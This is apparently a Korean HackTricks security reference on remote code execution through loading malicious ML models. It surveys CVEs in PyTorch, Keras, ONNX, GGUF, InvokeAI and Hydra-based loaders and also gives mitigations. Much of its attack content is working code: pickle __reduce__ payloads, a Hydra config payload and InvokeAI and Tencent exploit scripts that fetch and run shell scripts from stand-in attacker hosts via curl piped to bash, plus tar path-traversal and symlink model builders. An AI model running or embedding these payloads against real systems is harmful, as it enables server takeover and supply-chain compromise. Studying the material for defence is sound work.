๋ชจ๋ธ RCE

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

RCE๋กœ ๋ชจ๋ธ ๋กœ๋”ฉ

Machine Learning ๋ชจ๋ธ์€ ๋ณดํ†ต ONNX, TensorFlow, PyTorch ๋“ฑ ๋‹ค์–‘ํ•œ ํฌ๋งท์œผ๋กœ ๊ณต์œ ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชจ๋ธ๋“ค์€ ๊ฐœ๋ฐœ์ž ๋จธ์‹ ์ด๋‚˜ ํ”„๋กœ๋•์…˜ ์‹œ์Šคํ…œ์— ๋กœ๋“œ๋˜์–ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ๋ชจ๋ธ์—๋Š” ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š์•„์•ผ ํ•˜์ง€๋งŒ, ๋ชจ๋ธ ์ž์ฒด์˜ ์˜๋„๋œ ๊ธฐ๋Šฅ์ด๋‚˜ ๋ชจ๋ธ ๋กœ๋”ฉ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ทจ์•ฝ์  ๋•Œ๋ฌธ์— ์‹œ์Šคํ…œ์—์„œ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž‘์„ฑ ์‹œ์ ์— ๋‹ค์Œ์€ ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์ทจ์•ฝ์  ์‚ฌ๋ก€๋“ค์ž…๋‹ˆ๋‹ค:

Framework / ToolVulnerability (CVE if available)RCE VectorReferences
PyTorch (Python)Insecure deserialization in torch.load (CVE-2025-32434)๋ชจ๋ธ ์ฒดํฌํฌ์ธํŠธ์˜ ์•…์„ฑ pickle์€ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์ง (weights_only ๋ณดํ˜ธ ์šฐํšŒ)
PyTorch TorchServeShellTorch โ€“ CVE-2023-43654, CVE-2022-1471SSRF + ์•…์„ฑ ๋ชจ๋ธ ๋‹ค์šด๋กœ๋“œ๋กœ ์ธํ•œ ์ฝ”๋“œ ์‹คํ–‰; ๊ด€๋ฆฌ API์˜ Java ์—ญ์ง๋ ฌํ™” RCE
NVIDIA Merlin Transformers4RecUnsafe checkpoint deserialization via torch.load (CVE-2025-23298)์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฒดํฌํฌ์ธํŠธ๊ฐ€ load_model_trainer_states_from_checkpoint ๋™์•ˆ pickle reducer๋ฅผ ํŠธ๋ฆฌ๊ฑฐ โ†’ ML ์›Œ์ปค์—์„œ ์ฝ”๋“œ ์‹คํ–‰ZDI-25-833
TensorFlow/KerasCVE-2021-37678 (unsafe YAML)
CVE-2024-3660 (Keras Lambda)
YAML์—์„œ ๋ชจ๋ธ์„ ๋กœ๋“œํ•˜๋ฉด yaml.unsafe_load ์‚ฌ์šฉ(์ฝ”๋“œ ์‹คํ–‰)
Lambda ๋ ˆ์ด์–ด๊ฐ€ ์žˆ๋Š” ๋ชจ๋ธ์„ ๋กœ๋“œํ•˜๋ฉด ์ž„์˜์˜ Python ์ฝ”๋“œ ์‹คํ–‰
TensorFlow (TFLite)CVE-2022-23559 (TFLite parsing)์กฐ์ž‘๋œ .tflite ๋ชจ๋ธ์ด ์ •์ˆ˜ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์œ ๋ฐœ โ†’ ํž™ ์†์ƒ(์ž ์žฌ์  RCE)
Scikit-learn (Python)CVE-2020-13092 (joblib/pickle)joblib.load๋กœ ๋ชจ๋ธ์„ ๋กœ๋“œํ•˜๋ฉด ๊ณต๊ฒฉ์ž์˜ __reduce__ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋œ pickle์ด ์‹คํ–‰๋จ
NumPy (Python)CVE-2019-6446 (unsafe np.load) disputednumpy.load ๊ธฐ๋ณธ ์„ค์ •์ด ํ”ผํด๋œ ๊ฐ์ฒด ๋ฐฐ์—ด์„ ํ—ˆ์šฉ โ€“ ์•…์„ฑ .npy/.npz๊ฐ€ ์ฝ”๋“œ ์‹คํ–‰์„ ์œ ๋ฐœ
ONNX / ONNX RuntimeCVE-2022-25882 (dir traversal)
CVE-2024-5187 (tar traversal)
ONNX ๋ชจ๋ธ์˜ external-weights ๊ฒฝ๋กœ๊ฐ€ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ฐ–์œผ๋กœ ๋น ์ ธ๋‚˜๊ฐ€ ์ž„์˜ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Œ
์•…์„ฑ ONNX ๋ชจ๋ธ tar๊ฐ€ ์ž„์˜ ํŒŒ์ผ์„ ๋ฎ์–ด์จ์„œ RCE๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Œ
ONNX Runtime (design risk)(No CVE) ONNX custom ops / control flow์ปค์Šคํ…€ ์—ฐ์‚ฐ์ž๋ฅผ ๊ฐ€์ง„ ๋ชจ๋ธ์€ ๊ณต๊ฒฉ์ž์˜ ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Œ; ๋ณต์žกํ•œ ๋ชจ๋ธ ๊ทธ๋ž˜ํ”„๊ฐ€ ๋…ผ๋ฆฌ๋ฅผ ์•…์šฉํ•ด ์˜๋„ํ•˜์ง€ ์•Š์€ ์—ฐ์‚ฐ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ
NVIDIA Triton ServerCVE-2023-31036 (path traversal)--model-control๊ฐ€ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ์—์„œ model-load API๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ƒ๋Œ€ ๊ฒฝ๋กœ ์ˆœํšŒ๋กœ ํŒŒ์ผ์„ ์“ฐ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Œ(์˜ˆ: .bashrc๋ฅผ ๋ฎ์–ด์จ์„œ RCE)
GGML (GGUF format)CVE-2024-25664 โ€ฆ 25668 (multiple heap overflows)์ž˜๋ชป๋œ GGUF ๋ชจ๋ธ ํŒŒ์ผ์ด ํŒŒ์„œ์—์„œ ํž™ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์ผ์œผ์ผœ ํ”ผํ•ด์ž ์‹œ์Šคํ…œ์—์„œ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•จ
Keras (older formats)(No new CVE) Legacy Keras H5 modelLambda ๋ ˆ์ด์–ด ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ ์•…์„ฑ HDF5 (.h5) ๋ชจ๋ธ์€ ๋กœ๋“œ๋  ๋•Œ ์—ฌ์ „ํžˆ ์‹คํ–‰๋จ (Keras safe_mode๊ฐ€ ์˜ค๋ž˜๋œ ํฌ๋งท์„ ๋‹ค๋ฃจ์ง€ ์•Š์Œ โ€“ โ€œ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ ๊ณต๊ฒฉโ€)
Others (general)Design flaw โ€“ Pickle serialization๋งŽ์€ ML ๋„๊ตฌ(์˜ˆ: pickle ๊ธฐ๋ฐ˜ ๋ชจ๋ธ ํฌ๋งท, Python pickle.load)๋Š” ์™„ํ™”๋˜์ง€ ์•Š์œผ๋ฉด ๋ชจ๋ธ ํŒŒ์ผ์— ํฌํ•จ๋œ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•จ
NeMo / uni2TS / FlexTok (Hydra)Untrusted metadata passed to hydra.utils.instantiate() (CVE-2025-23304, CVE-2026-22584, FlexTok)๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ชจ๋ธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ/๊ตฌ์„ฑ์—์„œ _target_์„ ์ž„์˜์˜ ํ˜ธ์ถœ ๊ฐ€๋Šฅ ๊ฐ์ฒด(์˜ˆ: builtins.exec)๋กœ ์„ค์ • โ†’ ๋กœ๋“œ ์ค‘ ์‹คํ–‰๋จ, ์‹ฌ์ง€์–ด โ€œ์•ˆ์ „ํ•œโ€ ํฌ๋งท(.safetensors, .nemo, repo config.json)์—์„œ๋„Unit42 2026

๋˜ํ•œ, PyTorch์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ์ผ๋ถ€ Python pickle ๊ธฐ๋ฐ˜ ๋ชจ๋ธ์€ weights_only=True๋กœ ๋กœ๋“œํ•˜์ง€ ์•Š์œผ๋ฉด ์‹œ์Šคํ…œ์—์„œ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ‘œ์— ๋‚˜์—ด๋˜์–ด ์žˆ์ง€ ์•Š๋”๋ผ๋„ ๋ชจ๋“  pickle ๊ธฐ๋ฐ˜ ๋ชจ๋ธ์€ ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ๊ณต๊ฒฉ์— ํŠนํžˆ ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Hydra metadata โ†’ RCE (safetensors์—์„œ๋„ ์ž‘๋™)

hydra.utils.instantiate()์€ ๊ตฌ์„ฑ/๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ๊ฐ์ฒด์—์„œ ์  ํ‘œ๊ธฐ๋œ _target_์„ importํ•˜๊ณ  ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ชจ๋ธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ instantiate()์— ์ „๋‹ฌํ•˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๋ชจ๋ธ ๋กœ๋“œ ์ค‘ ์ฆ‰์‹œ ์‹คํ–‰๋˜๋Š” ํ˜ธ์ถœ ๊ฐ€๋Šฅ ๊ฐ์ฒด์™€ ์ธ์ž๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: pickle ๋ถˆํ•„์š”).

Payload example (works in .nemo model_config.yaml, repo config.json, or __metadata__ inside .safetensors):

_target_: builtins.exec
_args_:
- "import os; os.system('curl http://ATTACKER/x|bash')"

ํ•ต์‹ฌ ํฌ์ธํŠธ:

  • ๋ชจ๋ธ ์ดˆ๊ธฐํ™” ์ „์— NeMo restore_from/from_pretrained, uni2TS HuggingFace coders, ๋ฐ FlexTok loaders์—์„œ ํŠธ๋ฆฌ๊ฑฐ๋ฉ๋‹ˆ๋‹ค.
  • Hydraโ€™s string block-list๋Š” ๋Œ€์ฒด import ๊ฒฝ๋กœ(์˜ˆ: enum.bltns.eval) ๋˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ•ด์„ํ•œ ์ด๋ฆ„(์˜ˆ: nemo.core.classes.common.os.system โ†’ posix)์„ ํ†ตํ•ด ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • FlexTok์€ ๋ฌธ์ž์—ดํ™”๋œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ast.literal_eval๋กœ๋„ ํŒŒ์‹ฑํ•˜์—ฌ Hydra ํ˜ธ์ถœ ์ „์— DoS(CPU/๋ฉ”๋ชจ๋ฆฌ ํญ๋ฐœ)๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ†• InvokeAI RCE via torch.load (CVE-2024-12029)

InvokeAI๋Š” Stable-Diffusion์šฉ์œผ๋กœ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ์˜คํ”ˆ์†Œ์Šค ์›น ์ธํ„ฐํŽ˜์ด์Šค์ž…๋‹ˆ๋‹ค. ๋ฒ„์ „ 5.3.1 โ€“ 5.4.2์—์„œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์˜์˜ URL์—์„œ ๋ชจ๋ธ์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” REST ์—”๋“œํฌ์ธํŠธ /api/v2/models/install๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

๋‚ด๋ถ€์ ์œผ๋กœ ํ•ด๋‹น ์—”๋“œํฌ์ธํŠธ๋Š” ๊ฒฐ๊ตญ ๋‹ค์Œ์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค:

checkpoint = torch.load(path, map_location=torch.device("meta"))

์ œ๊ณต๋œ ํŒŒ์ผ์ด **PyTorch checkpoint (*.ckpt)**์ธ ๊ฒฝ์šฐ, torch.load๋Š” pickle deserialization์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ฝ˜ํ…์ธ ๊ฐ€ ์‚ฌ์šฉ์ž ์ œ์–ด URL์—์„œ ์ง์ ‘ ์ œ๊ณต๋˜๊ธฐ ๋•Œ๋ฌธ์—, ๊ณต๊ฒฉ์ž๋Š” ์ฒดํฌํฌ์ธํŠธ ๋‚ด๋ถ€์— ์‚ฌ์šฉ์ž ์ •์˜ __reduce__ ๋ฉ”์„œ๋“œ๋ฅผ ๊ฐ€์ง„ ์•…์„ฑ ๊ฐ์ฒด๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค; ํ•ด๋‹น ๋ฉ”์„œ๋“œ๋Š” during deserialization ์ค‘์— ์‹คํ–‰๋˜์–ด InvokeAI ์„œ๋ฒ„์—์„œ **remote code execution (RCE)**๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

The vulnerability was assigned CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).

Exploitation walk-through

  1. ์•…์„ฑ checkpoint ์ƒ์„ฑ:
# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
  1. ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” HTTP ์„œ๋ฒ„์— payload.ckpt๋ฅผ ํ˜ธ์ŠคํŠธํ•˜์„ธ์š” (์˜ˆ: http://ATTACKER/payload.ckpt).
  2. ์ธ์ฆ์ด ํ•„์š” ์—†๋Š” ์ทจ์•ฝํ•œ endpoint๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜์„ธ์š”:
import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false โ†’ no AV scan
},
json={},                                         # body can be empty
timeout=5,
)
  1. InvokeAI๊ฐ€ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๋ฉด torch.load()๋ฅผ ํ˜ธ์ถœ โ†’ os.system gadget์ด ์‹คํ–‰๋˜์–ด ๊ณต๊ฒฉ์ž๊ฐ€ InvokeAI ํ”„๋กœ์„ธ์Šค ์ปจํ…์ŠคํŠธ์—์„œ ์ฝ”๋“œ ์‹คํ–‰์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.

Ready-made exploit: Metasploit module exploit/linux/http/invokeai_rce_cve_2024_12029 automates the whole flow.

์กฐ๊ฑด

โ€ข InvokeAI 5.3.1-5.4.2 (scan flag default false)
โ€ข ๊ณต๊ฒฉ์ž๊ฐ€ /api/v2/models/install์— ์ ‘๊ทผ ๊ฐ€๋Šฅ
โ€ข ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‰˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ๊ถŒํ•œ ๋ณด์œ 

์™„ํ™”์ฑ…

  • InvokeAI โ‰ฅ 5.4.3๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ โ€“ ํŒจ์น˜๋Š” scan=True๋ฅผ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์„ค์ •ํ•˜๊ณ  ์—ญ์ง๋ ฌํ™” ์ „์— ์•…์„ฑ์ฝ”๋“œ ์Šค์บ”์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • ์ฒดํฌํฌ์ธํŠธ๋ฅผ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋ฐฉ์‹์œผ๋กœ ๋กœ๋“œํ•  ๋•Œ๋Š” torch.load(file, weights_only=True) ๋˜๋Š” ์ƒˆ๋กœ์šด torch.load_safe ํ—ฌํผ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ๋ชจ๋ธ ์ถœ์ฒ˜์— ๋Œ€ํ•ด ํ—ˆ์šฉ ๋ชฉ๋ก/์„œ๋ช… ์ ์šฉ ๋ฐ ์„œ๋น„์Šค๋ฅผ ์ตœ์†Œ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰ํ•˜์„ธ์š”.

โš ๏ธ ๊ธฐ์–ตํ•˜์„ธ์š”: any Python pickle-based format (including many .pt, .pkl, .ckpt, .pth files) ์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์†Œ์Šค์—์„œ ์—ญ์ง๋ ฌํ™”ํ•˜๋Š” ๊ฒƒ์ด ๋ณธ์งˆ์ ์œผ๋กœ ์•ˆ์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.


๊ตฌ ๋ฒ„์ „์˜ InvokeAI๋ฅผ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ ๋’ค์—์„œ ๊ณ„์† ์šด์˜ํ•ด์•ผ ํ•  ๊ฒฝ์šฐ์˜ ์ž„์‹œ ์™„ํ™”์ฑ… ์˜ˆ์‹œ:

location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

๐Ÿ†• NVIDIA Merlin Transformers4Rec RCE ์ทจ์•ฝํ•œ torch.load๋ฅผ ํ†ตํ•œ (CVE-2025-23298)

NVIDIA์˜ Transformers4Rec (Merlin์˜ ์ผ๋ถ€)์€ ์‚ฌ์šฉ์ž ์ œ๊ณต ๊ฒฝ๋กœ์—์„œ ์ง์ ‘ torch.load()๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์ทจ์•ฝํ•œ ์ฒดํฌํฌ์ธํŠธ ๋กœ๋”๋ฅผ ๋…ธ์ถœํ–ˆ์Šต๋‹ˆ๋‹ค. torch.load๊ฐ€ Python pickle์— ์˜์กดํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฒดํฌํฌ์ธํŠธ๋Š” ์—ญ์ง๋ ฌํ™” ์ค‘ reducer๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝ ๊ฒฝ๋กœ(์ˆ˜์ • ์ „): transformers4rec/torch/trainer/trainer.py โ†’ load_model_trainer_states_from_checkpoint(...) โ†’ torch.load(...).

์ด๊ฒƒ์ด RCE๋กœ ์ด์–ด์ง€๋Š” ์ด์œ : Python pickle์—์„œ๋Š” ๊ฐ์ฒด๊ฐ€ callable๊ณผ ์ธ์ˆ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” reducer (__reduce__/__setstate__)๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด callable์€ ์–ธํ”ฝํด๋ง(unpickling) ์ค‘์— ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ๊ฐ์ฒด๊ฐ€ ์ฒดํฌํฌ์ธํŠธ์— ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, ๊ฐ€์ค‘์น˜๊ฐ€ ์‚ฌ์šฉ๋˜๊ธฐ ์ „์— ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

์ตœ์†Œ ์•…์„ฑ ์ฒดํฌํฌ์ธํŠธ ์˜ˆ:

import torch

class Evil:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))

# Place the object under a key guaranteed to be deserialized early
ckpt = {
"model_state_dict": Evil(),
"trainer_state": {"epoch": 10},
}

torch.save(ckpt, "malicious.ckpt")

Delivery vectors and blast radius:

  • Trojanized checkpoints/models shared via repos, buckets, or artifact registries
  • Automated resume/deploy pipelines that auto-load checkpoints
  • Execution happens inside training/inference workers, often with elevated privileges (e.g., root in containers)

Fix: Commit b7eaea5 (PR #802) replaced the direct torch.load() with a restricted, allow-listed deserializer implemented in transformers4rec/utils/serialization.py. The new loader validates types/fields and prevents arbitrary callables from being invoked during load.

Defensive guidance specific to PyTorch checkpoints:

  • Do not unpickle untrusted data. Prefer non-executable formats like Safetensors or ONNX when possible.
  • If you must use PyTorch serialization, ensure weights_only=True (supported in newer PyTorch) or use a custom allow-listed unpickler similar to the Transformers4Rec patch.
  • Enforce model provenance/signatures and sandbox deserialization (seccomp/AppArmor; non-root user; restricted FS and no network egress).
  • Monitor for unexpected child processes from ML services at checkpoint load time; trace torch.load()/pickle usage.

POC and vulnerable/patch references:

  • Vulnerable pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
  • Malicious checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
  • Post-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js

Example โ€“ crafting a malicious PyTorch model

  • Create the model:
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • ๋ชจ๋ธ ๋กœ๋“œ:
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# โš ๏ธ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Deserialization Tencent FaceDetection-DSFD resnet (CVE-2025-13715 / ZDI-25-1183)

Tencent์˜ FaceDetection-DSFD๋Š” ์‚ฌ์šฉ์ž ์ œ์–ด ๋ฐ์ดํ„ฐ๋ฅผ deserializes ํ•˜๋Š” resnet ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ZDI๋Š” ์›๊ฒฉ ๊ณต๊ฒฉ์ž๊ฐ€ ํ”ผํ•ด์ž๋ฅผ ๊ฐ•์ œ๋กœ ์•…์„ฑ ํŽ˜์ด์ง€/ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๊ฒŒ ํ•˜๊ณ , ํ”ผํ•ด์ž๊ฐ€ ์กฐ์ž‘๋œ serialized blob์„ ํ•ด๋‹น ์—”๋“œํฌ์ธํŠธ๋กœ ํ‘ธ์‹œํ•˜๋„๋ก ์œ ๋„ํ•œ ๋’ค deserialization์„ root๋กœ ํŠธ๋ฆฌ๊ฑฐํ•˜์—ฌ ์‹œ์Šคํ…œ์„ ์™„์ „ํžˆ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Œ์„ ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด ์ต์Šคํ”Œ๋กœ์ž‡ ํ๋ฆ„์€ ์ „ํ˜•์ ์ธ pickle abuse์™€ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค:

import pickle, os, requests

class Payload:
def __reduce__(self):
return (os.system, ("curl https://attacker/p.sh | sh",))

blob = pickle.dumps(Payload())
requests.post("https://target/api/resnet", data=blob,
headers={"Content-Type": "application/octet-stream"})

Any gadget reachable during deserialization (constructors, __setstate__, framework callbacks, etc.) can be weaponized the same way, regardless of whether the transport was HTTP, WebSocket, or a file dropped into a watched directory.

๋ชจ๋ธ์„ ํ†ตํ•œ Path Traversal

As commented in this blog post, most models formats used by different AI frameworks are based on archives, usually .zip. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.

For example, with the following code you can create a model that will create a file in the /tmp directory when loaded:

import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

๋˜๋Š”, ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋กœ๋“œ๋  ๋•Œ /tmp ๋””๋ ‰ํ„ฐ๋ฆฌ์— symlink๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ชจ๋ธ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

์‹ฌ์ธต๋ถ„์„: Keras .keras deserialization and gadget hunting

๋‹ค์Œ์€ .keras internals, Lambda-layer RCE, โ‰ค 3.8์˜ arbitrary import issue, ๊ทธ๋ฆฌ๊ณ  allowlist ๋‚ด post-fix gadget discovery์— ๊ด€ํ•œ ์ง‘์ค‘ ๊ฐ€์ด๋“œ์ž…๋‹ˆ๋‹ค:

Keras Model Deserialization Rce And Gadget Hunting

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ